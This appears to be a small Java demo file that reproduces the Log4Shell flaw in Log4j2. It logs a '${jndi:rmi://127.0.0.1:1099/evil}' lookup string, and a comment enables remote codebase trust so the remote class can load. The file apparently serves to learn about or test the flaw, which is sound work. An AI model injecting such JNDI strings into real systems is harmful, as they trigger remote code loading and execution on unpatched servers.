package com.hi.zack.demo.log;

import com.hi.zack.demo.rmi.RMIInvoker;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


/**
 * System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 * System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 *
 * @author Zack
 * @since 2021/12/13
 */
public class Log4j2Test {

    private static final Logger LOGGER = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);

    public static void main(String[] args) {

//        new RMIInvoker().invoke("rmi://127.0.0.1:1099/evil");

        LOGGER.info("This is log4j2 info message.");
        LOGGER.info("str ===> {}", "${java:vm}");
        LOGGER.info("str2 ===> {}", "${jndi:rmi://127.0.0.1:1099/evil}");

    }


}
